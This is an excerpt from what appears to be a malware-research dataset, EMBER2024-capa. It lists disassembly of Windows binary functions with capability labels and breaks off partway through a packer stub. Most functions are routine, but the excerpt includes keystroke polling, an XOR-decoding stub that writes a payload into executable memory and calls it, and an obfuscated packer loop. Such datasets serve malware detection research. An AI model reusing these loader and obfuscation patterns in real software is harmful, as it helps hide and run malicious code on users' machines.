joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x406044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40603c]
sub esp, 4
test ebx, ebx
je 0x401f6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401f64
test esi, esi
je 0x401f64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f40
mov dword [esp], 0x406044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402150
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4021a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402278
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4021de
cmp eax, 4
jne 0x402200
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4021ee
cmp edx, 4
je 0x4021ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402150
Function at 0x402620
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.00401e10
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x402656
jmp 0x40268e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x402653
cmp al, 9
je 0x402653
cmp al, 0x22
jne 0x402677
jmp 0x4026d6
cmp al, 9
je 0x402683
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x402670
jmp 0x402683
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x402680
cmp al, 9
je 0x402680
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40269d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004017a0
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x4026e2
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x4026d2
cmp al, 0x22
jne 0x402683
lea ebx, [edx + 2]
jmp 0x402683
Function at 0x6d7e2d5d
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d7e2dab
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d7e2dbc
push 0xd
pop eax
jmp 0x6d7e2de6
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d7e2dbf
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d7e32a5
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d7fa651
mov ebx, eax
cmp ebx, esi
je 0x6d7e3318
lea ecx, [ebp - 0x74]
call fcn.6d7e2c8b
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d7e3330
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d7e32a5
cmp eax, esi
jne 0x6d7e3362
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x6d7e3320
lea ecx, [ebp - 0x74]
call fcn.6d7e2c8b
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d7e2c1c
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d7e2c8b
mov eax, esi
jmp 0x6d7e32fe
Function at 0x6d7e9903
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x6d7e990d
lea esi, [ecx - 0x80]
jmp 0x6d7e990f
xor esi, esi
lea eax, [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x58]
test esi, esi
je 0x6d7e992b
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x6d7ea967
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x6d7ea97b
add eax, 0xffffff7c
jmp 0x6d7ea97d
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x6d7fd3c4
lea ecx, [eax + 0xc]
call fcn.6d7e95ec
test eax, eax
js 0x6d7ea9e6
cmp dword [ebp + 8], 0
je 0x6d7ea9e3
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x6d7ea9bb
inc edi
push 0x11
call esi
test ax, ax
jns 0x6d7ea9c7
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x6d7ea9d3
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x6d7ea9e6
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x6d7ea9fc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8
Function at 0x6d7eebb4
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8f4]
sub esp, 0x974
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x8f0], eax
mov eax, dword [ebp + 0x8fc]
push ebx
push esi
mov esi, 0x400
push esi
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call fcn.6d7fa651
add esp, 0x10
test eax, eax
je 0x6d7eed0f
lea eax, [ebp - 0x14]
push eax
push str._s_ssvagent.exe
lea eax, [ebp + 0x3ec]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x3ec]
push eax
call dword [sym.imp.MSVCR100.dll__stat64i32]
add esp, 0x18
test eax, eax
jne 0x6d7eed0f
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
xor ebx, ebx
push edi
mov byte [ebp + 0x7ec], bl
mov edi, 0x104
lea eax, [ebp + 0x7ec]
cmp dword [ebp + 0x900], ebx
je 0x6d7eec50
push str.__new
jmp 0x6d7eec55
push str.__old
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x904], ebx
je 0x6d7eec76
push str.__high
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x90c], ebx
je 0x6d7eec90
push str.__settreatas
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp + 0x7ec]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x6c], eax
pop edi
cmp dword [ebp + 0x904], ebx
je 0x6d7eecc6
call fcn.6d7fa651
test eax, eax
je 0x6d7eecc6
mov dword [ebp - 0x74], str.runas
cmp dword [ebp + 0x908], ebx
je 0x6d7eecd5
mov dword [ebp - 0x7c], 0x40
lea eax, [ebp + 0x3ec]
mov dword [ebp - 0x70], eax
xor esi, esi
lea eax, [ebp - 0x80]
inc esi
push eax
mov dword [ebp - 0x64], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x6d7eed0f
cmp dword [ebp - 0x48], ebx
je 0x6d7eed0b
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
jmp 0x6d7eed11
xor eax, eax
mov ecx, dword [ebp + 0x8f0]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0x8f4
leave
ret
Function at 0x6d7ef650
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x39c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x63]
push ebx
push eax
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x64], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x20019
push 0x6d7fe12c
push SysReAllocString
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
call fcn.6d7fa651
lea ecx, [ebp - 0x74]
test eax, eax
je 0x6d7ef6c8
call fcn.6d7e2c8b
lea ecx, [ebp - 0x80]
call fcn.6d7e2c8b
jmp 0x6d7ef754
push 0x2001f
push str.Classes
push dword [ebp - 0x80]
call fcn.6d7fa651
test eax, eax
je 0x6d7ef6e3
lea ecx, [ebp - 0x74]
jmp 0x6d7ef6b6
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, 0x400
push esi
lea eax, [ebp - 0x64]
push eax
push ebx
jmp 0x6d7ef739
push 0xa
lea eax, [ebp - 0x64]
push str.JavaPlugin
push eax
call dword [sym.imp.MSVCR100.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x6d7ef720
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d7e32a5
test eax, eax
je 0x6d7ef723
inc dword [ebp - 0x68]
push esi
lea eax, [ebp - 0x64]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x68]
push dword [ebp - 0x74]
call edi
test eax, eax
je 0x6d7ef6f8
lea ecx, [ebp - 0x74]
call fcn.6d7e2c8b
lea ecx, [ebp - 0x80]
call fcn.6d7e2c8b
pop edi
pop esi
mov ecx, dword [ebp + 0x39c]
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0x3a0
leave
ret
Function at 0x6d7f45cf
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x17e0]
mov eax, 0x1860
call fcn.6d7f99b0
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x17dc], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0x17e8]
mov esi, 0x7ff
xor ebx, ebx
push esi
lea eax, [ebp + 0x7dd]
push ebx
push eax
mov byte [ebp + 0x7dc], bl
call sub.MSVCR100.dll_memset
push esi
lea eax, [ebp - 0x23]
push ebx
push eax
mov byte [ebp - 0x24], bl
call sub.MSVCR100.dll_memset
push esi
lea eax, [ebp + 0xfdd]
push ebx
push eax
mov byte [ebp + 0xfdc], bl
call sub.MSVCR100.dll_memset
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0xfdc]
push eax
push edi
mov dword [ebp - 0x28], 0x800
call fcn.6d7f38c4
add esp, 0x34
test eax, eax
jne 0x6d7f465b
xor eax, eax
jmp 0x6d7f475f
lea eax, [ebp + 0xfdc]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
cmp byte [ebp + eax + 0xfdb], 0x5c
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
je 0x6d7f468a
lea eax, [ebp + 0xfdc]
push eax
push 0x6d7ff210
push eax
call esi
add esp, 0xc
push str.jqs.exe
lea eax, [ebp + 0xfdc]
push eax
lea eax, [ebp + 0x7dc]
push str._sbin_s
push eax
call esi
lea eax, [ebp + 0x7dc]
push eax
call fcn.6d7fa651
add esp, 0x14
test eax, eax
je 0x6d7f4654
call fcn.6d7fa651
push 0x44
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR100.dll_memset
xor eax, eax
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x50], ax
lea eax, [ebp + 0x7dc]
push eax
xor edi, edi
lea eax, [ebp - 0x24]
push str.__s___unregister
inc edi
push eax
mov dword [ebp - 0x80], 0x44
mov dword [ebp - 0x54], edi
call esi
add esp, 0x18
lea eax, [ebp - 0x2c]
push eax
push 0x2000000
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x6d7f4654
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push 0x8000008
push ebx
push ebx
push ebx
lea eax, [ebp - 0x24]
push eax
push ebx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
cmp eax, ebx
je 0x6d7f4654
push 0x7530
push dword [ebp - 0x3c]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
mov eax, edi
mov ecx, dword [ebp + 0x17dc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0x17e0
leave
ret
Function at 0x6d7f57d2
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xb0]
sub esp, 0x130
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0xac], eax
mov eax, dword [ebp + 0xb8]
push esi
mov esi, dword [ebp + 0xbc]
push 0x6d7ff3e0
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
pop ecx
pop ecx
mov dword [ebp - 0x7c], eax
test eax, eax
je 0x6d7f593d
push esi
call dword [sym.imp.MSVCR100.dll__chdir]
pop ecx
test eax, eax
jne 0x6d7f593d
mov esi, dword [sym.imp.MSVCR100.dll_fread]
push ebx
push dword [ebp - 0x7c]
xor ebx, ebx
inc ebx
push ebx
lea eax, [ebp - 0x78]
push 0x1e
push eax
call esi
add esp, 0x10
cmp eax, ebx
jne 0x6d7f5932
push edi
cmp dword [ebp - 0x78], 0x4034b50
jne 0x6d7f5931
cmp word [ebp - 0x70], 0
jne 0x6d7f5931
movzx eax, word [ebp - 0x5e]
push dword [ebp - 0x7c]
movzx edi, word [ebp - 0x5e]
push eax
lea eax, [ebp - 0x58]
push ebx
push eax
call esi
add esp, 0x10
cmp eax, edi
jne 0x6d7f5931
lea eax, [ebp - 0x58]
push eax
mov byte [ebp + edi - 0x58], 0
call fcn.6d7fa651
cmp word [ebp - 0x5c], 0
pop ecx
jbe 0x6d7f58ab
movzx eax, word [ebp - 0x5c]
push ebx
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x6d7f5931
movzx eax, word [ebp - 0x5e]
cmp byte [ebp + eax - 0x59], 0x2f
je 0x6d7f5911
lea eax, [ebp - 0x58]
push 0x6d7ff3e4
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
pop ecx
pop ecx
mov dword [ebp - 0x80], eax
test eax, eax
je 0x6d7f5931
push dword [ebp - 0x62]
call sub.MSVCR100.dll_void____cdecl_operator_new___unsigned_int_
push dword [ebp - 0x7c]
mov edi, eax
push dword [ebp - 0x62]
push ebx
push edi
call esi
add esp, 0x14
cmp eax, dword [ebp - 0x62]
jne 0x6d7f592a
push dword [ebp - 0x80]
push dword [ebp - 0x62]
push ebx
push edi
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
push edi
cmp eax, dword [ebp - 0x62]
jne 0x6d7f592b
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x80]
call dword [sym.imp.MSVCR100.dll_fclose]
pop ecx
pop ecx
push dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push ebx
push 0x1e
push eax
call esi
add esp, 0x10
cmp eax, ebx
je 0x6d7f5845
jmp 0x6d7f5931
push edi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
push dword [ebp - 0x7c]
call dword [sym.imp.MSVCR100.dll_fclose]
pop ecx
pop ebx
mov ecx, dword [ebp + 0xac]
xor ecx, ebp
pop esi
call fcn.6d7f98d8
add ebp, 0xb0
leave
ret
Function at 0x6d7f82f8
Capabilities:
Query environment variable

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esp + 8], ebx
je 0x6d7f831b
push 0x104
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x6d7f831b
mov bl, 1
mov al, bl
pop ebx
ret

Function at 0x6d7f8686
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x6d7fb690
call fcn.6d7f991a
mov eax, dword [ebp + 8]
push 0x104
push eax
xor edi, edi
push edi
push edi
xor ecx, ecx
push 0x6d7fc7f4
mov word [eax], cx
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x6d7f86fa
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__NULL__pPath__MAX_PATH_
call fcn.6d7f91ca
pop ecx
pop ecx
push edi
push esi
call fcn.6d7fa651
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.6d7f8f38
push eax
push esi
push 0x6d7ffdac
call fcn.6d7f91ca
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x6d7f86f3
ret
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x6d7f87ab
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x6d7f8757
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x6d7f86be
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x6d7f87ab
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x6d7f87ab
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x6d7f86be
mov eax, esi
call fcn.6d7f9986
ret
Function at 0x6d7f8924
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3b8]
sub esp, 0x438
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x3b4], eax
push ebx
xor ebx, ebx
push esi
mov esi, 0x20019
push esi
push 0x6d7fff18
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x50], ebx
call fcn.6d7fa651
test eax, eax
je 0x6d7f89bf
lea ecx, [ebp - 0x74]
call fcn.6d7e2c8b
lea ecx, [ebp - 0x5c]
call fcn.6d7e2c8b
lea ecx, [ebp - 0x68]
call fcn.6d7e2c8b
lea ecx, [ebp - 0x80]
call fcn.6d7e2c8b
xor eax, eax
mov ecx, dword [ebp + 0x3b4]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0x3b8
leave
ret
push esi
push 0x6d7fff24
push dword [ebp - 0x80]
lea ecx, [ebp - 0x68]
call fcn.6d7fa651
test eax, eax
jne 0x6d7f8986
push esi
push 0x6d7fff30
push dword [ebp - 0x68]
lea ecx, [ebp - 0x5c]
call fcn.6d7fa651
test eax, eax
je 0x6d7f8a0d
lea ecx, [ebp - 0x74]
call fcn.6d7e2c8b
lea ecx, [ebp - 0x5c]
call fcn.6d7e2c8b
lea ecx, [ebp - 0x68]
call fcn.6d7e2c8b
lea ecx, [ebp - 0x80]
call fcn.6d7e2c8b
mov eax, ebx
jmp 0x6d7f89a8
mov esi, 0x400
push esi
lea eax, [ebp - 0x4c]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push ebx
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x6d7f89e9
push edi
inc dword [ebp - 0x50]
mov edi, dword [ebp + 0x3c0]
lea eax, [ebp - 0x4c]
mov cl, byte [eax]
cmp cl, byte [edi]
jne 0x6d7f8a60
cmp cl, bl
je 0x6d7f8a5c
mov cl, byte [eax + 1]
cmp cl, byte [edi + 1]
jne 0x6d7f8a60
add eax, 2
add edi, 2
cmp cl, bl
jne 0x6d7f8a40
xor eax, eax
jmp 0x6d7f8a65
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
lea eax, [ebp - 0x4c]
je 0x6d7f8a8e
push esi
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x50]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x6d7f8a34
jmp 0x6d7f8ac4
push 0x20019
push eax
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x74]
call fcn.6d7fa651
test eax, eax
jne 0x6d7f8ac4
push str.UseNewJavaPlugin
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x50], ebx
call fcn.6d7fa651
test eax, eax
jne 0x6d7f8ac4
xor ebx, ebx
cmp dword [ebp - 0x50], 1
sete bl
pop edi
jmp 0x6d7f89e9
Function at 0x6d7f94e8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d80871c], 0
push esi
push edi
jne 0x6d7f945e
call fcn.6d7f93ca
test eax, eax
je 0x6d7f94a3
mov eax, dword [0x6d80871c]
cmp eax, 1
jne 0x6d7f947f
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d7f94a3
jmp 0x6d7f94e5
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d7f94e5
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d7f94a7
xor eax, eax
jmp 0x6d7f94e5
mov eax, dword [esi]
push dword [0x6d80871c]
call edi
mov edi, eax
test edi, edi
je 0x6d7f94c9
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d7f94e5
lea edi, [esi + 0xff0]
push esi
push dword [0x6d80871c]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d7f94cf
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d7f944a

Function at 0x6d7f98d8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d808560]
jne 0x6d7f98e2
repz ret
jmp fcn.6d7f9fe2

Function at 0x6d7fa651
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x6d7fa660
pop dword [ebp - 0x44]
mov eax, 0x6e37bcc1
add eax, 0xff47e99f
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3b7d0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x52ab
mov edi, eax
mov ebx, 0x6d834200
add ebx, dword [ebp - 0x44]
mov edx, 0xda169def
sub edx, 0x14dfe699
sub dword [ebp - 0x34], eax
mov esi, dword [ebx]
xor esi, edx
xor dword [ebp - 0x34], ecx
mov dword [edi], esi
sub dword [ebp - 0x28], 0x3cda45a
add edi, 4
add ebx, 4
loop 0x6d7fa6ae
add eax, 0x7983eb80
add eax, 0x867d51ff
mov ebx, eax
add eax, 5
mov ecx, 0x472c79ab
add ecx, 0x26518655
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2d642626
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x785d1199
nop
nop
nop
nop
nop
